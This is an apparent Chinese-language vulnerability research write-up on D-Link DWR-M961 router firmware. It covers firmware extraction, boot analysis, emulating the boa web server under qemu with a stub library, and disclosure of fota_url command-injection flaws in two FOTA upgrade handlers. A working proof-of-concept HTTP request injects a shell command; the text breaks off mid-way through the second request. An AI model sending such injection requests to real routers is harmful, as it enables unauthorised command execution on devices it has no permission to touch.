提取文件系统
下载固件
http://downloads.d-link.co.za/DWR/dwrm961/firmware/C1/DWR-M961_1.1.2_C1_202602110044.bin
binwalk解包
binwalk -Me binwalk -Me DWR-M961_1.1.2_C1_202602110044.bin

启动项分析
架构: 32位MIPS

检查保护

开机到入口:设备上电后 U-Boot 加载 Linux 内核,内核跑起的第一个进程 /sbin/init。init 读/etc/inittab,其中 sysinit 项指向 /etc/init.d/rcS,这就是整个启动的入口。控制台登录由 inittab 里的 /bin/login负责,密码从 /var/shadow 验证,这个文件是 rcS 启动时从 /etc/shadow.sample 复制来的。
rcS 总控:rcS 是总脚本,分rcS、rcS_GW、rcS_GW_yilian三个。主要完成系统初始化挂载文件系统(proc、ramfs、yaffs2配置分区),创建/var下所有运行时目录(包括临时文件、日志、Web、DHCP、VPN、SMB、TR-069、UPnP、SNMP等);再把shadow、passwd、group、cwmp 等配置复制到 /var;然后做启动前校验并拉起外围服务,包括 CINIT=1 时执行 startup.sh 校验flash 配置、后台启动看门狗、加载无线模块;最后进入主初始化,调用 init.sh gw all 去启动 sysconf 主守护,配置好 br0 桥和IP,再前台启动 boa Web 服务器,执行 post_startup.sh。
配置校验:startup.sh 用 /bin/flash 工具对 flash上的硬件、蓝牙、客户、默认、当前五类配置做签名和校验和检查,非法就从备份或默认恢复。由于管理员密码也存flash,校验失败会恢复默认 admin/admin。
sysconf 主守护: 配置文件/bin/sysconf。它按 MIB 配置拉起各服务,包括boa、dnsmasq、udhcpc/udhcpd、ntp_inet、firewall.sh、snmpd.sh、syslogd、无线和 WAN 相关,同时负责 MIB读写和标志文件触发事件。
boa Web 服务:/bin/boa root 运行,配置在 /etc/boa/boa.conf,监听 80 端口,处理 /boafrm/表单、/quicksetup.cgi 和 /app/app.cgi,rcS 直接 boa;rcS_GW用 webs&。
固件模拟
环境依赖
先检查boa文件
ROOT=~/Desktop/squashfs-root
ls -l "$ROOT/bin/boa"
file "$ROOT/bin/boa"
readelf -h "$ROOT/bin/boa" | grep -iE "machine|class|data"
readelf -d "$ROOT/bin/boa" | grep NEEDED

MIPS32位小端
复制qemu-mipsel-static、mipsel-linux-gnu-gcc、gdb-multiarch、binfmt_misc(qemu-mipsel 已注册)到当前目录

确认 binfmt_misc 注册(boa 派生 CGI / 子进程时会 fork 出其他 MIPS 二进制,必须能被内核直接交给 qemu 执行)
尝试拉起服务
这里boa要用root权限起
sudo chroot "$ROOT" /bin/sh -c "
echo 'root:x:0:0:root:/root:/bin/sh' >> /etc/passwd
echo 'root::0:0:root:/root:/bin/sh' >> /etc/passwd
"
ROOT=$PWD
sudo cp /usr/bin/qemu-mipsel-static "$ROOT/usr/bin/"
sudo chroot "$ROOT" /usr/bin/qemu-mipsel-static /bin/boa

boa启动第一件事就是 apmib_init() 从 /dev/mtdblock0 读 hw setting / DS / CS 配置区,校验 "H6" 签名、版本、校验和,chroot 用户态没有 flash 所以失败
所以应该用hook去顶替libapmib,让函数运行成功
编写 hook 桩库
typedef unsigned int u32;
int pMib;
int pMibDef;
int pHwSetting;
int pCustomerHwSetting;
int wlan_idx;
int vwlan_idx;
int wlan_idx_bak;
int vwlan_idx_bak;
int compress_hw_setting;
char mib_root_table[136];
char hwmib_root_table[136];
char customer_hwmib_root_table[136];
int apmib_init(void) { return 1; }
int apmib_reinit(void) { return 1; }
int apmib_get(int id, void *value)
{
if (value) {
volatile unsigned char *p = (volatile unsigned char *)value;
p[0] = 0; p[1] = 0; p[2] = 0; p[3] = 0;
}
(void)id; // 防止编译器警告:参数 id 未使用
return 1;
}
int apmib_get_wlan(int id, void *value)
{
return apmib_get(id, value);
}
int apmib_set(int id, void *value)
{
(void)id; (void)value;
return 1;
}
int apmib_update(int type) { (void)type; return 1; }
int apmib_updateFlash(int type) { (void)type; return 1; }
int apmib_sem_lock(void) { return 1; }
int apmib_sem_unlock(void) { return 1; }
int flash_read_raw_mib(void *p) { (void)p; return 1; }
int flash_write_raw_mib(void *p) { (void)p; return 1; }
int mib_search_by_id(int a1, int a2, void *a3, void *a4, void *a5)
{
(void)a1; (void)a2; (void)a3; (void)a4; (void)a5;
return 0;
}
int getWANMibIdByName(char *name) { (void)name; return 0; }
int getVPNMibIdByName(char *name) { (void)name; return 0; }
int swapWLANIdxForCwmp(int idx) { return idx; }
int save_cs_to_file(void) { return 1; } // 保存当前设置到文件
int set_timeZone(void) { return 0; } // 设置时区:返回 0(失败)
int update_tblentry(void *a, int b, void *c)
{
(void)a; (void)b; (void)c;
return 1;
}

编译(必须在 squashfs-root 的 lib/ 目录存在的前提下):
mipsel-linux-gnu-gcc -shared -fPIC -nostdlib \
-o "$R/lib/libapmib.so" "$R/_analysis/apmib_shim.c"
-shared -fPIC:编成动态库-nostdlib:不依赖 libc,保证能安全 preload 进 uClibc 进程- 直接编成libapmib.so方便替换
布置chroot
cp /usr/bin/qemu-mipsel-static "$ROOT/usr/bin/"
sudo mount -t proc proc "$ROOT/proc"
mountpoint -q "$ROOT/proc" && echo "proc 已挂载"
启动boa
ashfs-root$
sudo chroot "$ROOT" /usr/bin/qemu-mipsel-static \
-E LD_PRELOAD=/lib/apmib_shim.so /bin/boa -d
成功标志(看到这五行就是通了):
Enabling OpenSSL security system
Loaded SSL certificate file: /etc/certificate.crt
Opened private key file: /etc/privateKey.key
boa: server version Boa/0.94.14rc21
boa: starting server pid=XXXX, port 80

一键启动脚本
cat > "$ROOT/_analysis/run_boa.sh" <<'EOF'
#!/bin/bash
# 用法: sudo ./_analysis/run_boa.sh [-g|-s|-h]
set -u
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
SHIM_SRC="$ROOT/_analysis/apmib_shim.c"
SHIM_SO="$ROOT/lib/apmib_shim.so"
# 1. 编译桩库(源码比产物新才重编)
if [ ! -f "$SHIM_SO" ] || [ "$SHIM_SRC" -nt "$SHIM_SO" ]; then
echo "[*] 编译 apmib_shim.so"
mipsel-linux-gnu-gcc -shared -fPIC -nostdlib -o "$SHIM_SO" "$SHIM_SRC" || exit 1
fi
# 2. qemu 用户态二进制放进 chroot
[ -x "$ROOT/usr/bin/qemu-mipsel-static" ] || cp /usr/bin/qemu-mipsel-static "$ROOT/usr/bin/"
# 3. 挂载 /proc
if ! mountpoint -q "$ROOT/proc"; then
echo "[*] mount -t proc proc $ROOT/proc"
mount -t proc proc "$ROOT/proc" || exit 1
fi
MODE="${1:-}"
case "$MODE" in
-g) echo "[*] boa 启动中 (gdbstub :1234, -d 前台模式)..."
exec chroot "$ROOT" /usr/bin/qemu-mipsel-static -g 1234 \
-E LD_PRELOAD=/lib/apmib_shim.so /bin/boa -d ;;
-s) echo "[*] boa 启动中 (strace -> /boa_strace.log)..."
rm -f "$ROOT/boa_strace.log"
exec chroot "$ROOT" /usr/bin/qemu-mipsel-static -strace -D /boa_strace.log \
-E LD_PRELOAD=/lib/apmib_shim.so /bin/boa -d ;;
*) echo "[*] boa 启动中 (前台, -d 模式)..."
exec chroot "$ROOT" /usr/bin/qemu-mipsel-static \
-E LD_PRELOAD=/lib/apmib_shim.so /bin/boa -d ;;
esac
EOF
chmod +x "$ROOT/_analysis/run_boa.sh"
sudo "$ROOT/_analysis/run_boa.sh" # 一键启动

CVE-2026-71944
formLtefotaUpgradeQuectel 组件 fota_url 参数命令注入
漏洞描述
/boafrm/formLtefotaUpgradeQuectel 处理器在 Quectel FOTA 升级功能中,对 fota_url 参数仅做"长度 <0x191 + strstr 含 http:///https:///ftp:// 子串"两个弱检查,随后 sprintf 拼入 system(),可注入任意命令。
漏洞详情
受影响组件: /boafrm/formLtefotaUpgradeQuectel
受影响函数: sub_4163E0
数据流向:
获取输入sub_4102DC(a1, "fota_url", &dword_4A498C)(URL 解码,无字符过滤)
调用过滤strlen(v3) < 0x191且 strstr(v3,"http://") || "https://" || "ftp://"
危险拼接`sprintf(v7, "/var/upgrade_quectel %s&", v3)`
命令执行`system(v7)`

请求包

POST /boafrm/formLtefotaUpgradeQuectel HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
sec-ch-ua-platform: "Linux"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: http://127.0.0.1/boafrm/formLoginSetup
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: lang_sel=true; i18next=zh_CN; lstatus=true; token=D45FC714C57D27E30E3EFA1350ACF85D; webuicookie=fV4RRVUfxci/gsb08qQXpsis
Connection: close
Content-Length: 69
fota_url=http://a;echo PWNED44>/var/tmp/pwn44&submit-url=/cpefota.htm

CVE-2026-71945
formLtefotaUpgradeFibocom 组件 fota_url 参数命令注入
漏洞描述
/boafrm/formLtefotaUpgradeFibocom 处理器与 CVE-2026-71944 同型,但存在模板 at-cmd 'AT+GTSET="CALLBREAK",1'; upgrade_fibocom %s& 而且自带分号。
漏洞详情
受影响组件: /boafrm/formLtefotaUpgradeFibocom
受影响函数: sub_4166C8
数据流向:
获取输入fota_url
检查(strlen<0x191)
拼接sprintf(v7, "at-cmd 'AT+GTSET=\"CALLBREAK\",1'; upgrade_fibocom %s&", v4)
命令执行system

请求包

POST /boafrm/formLtefotaUpgradeFibocom HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120"
sec-ch-ua-mobile: ?0
User-Agent:
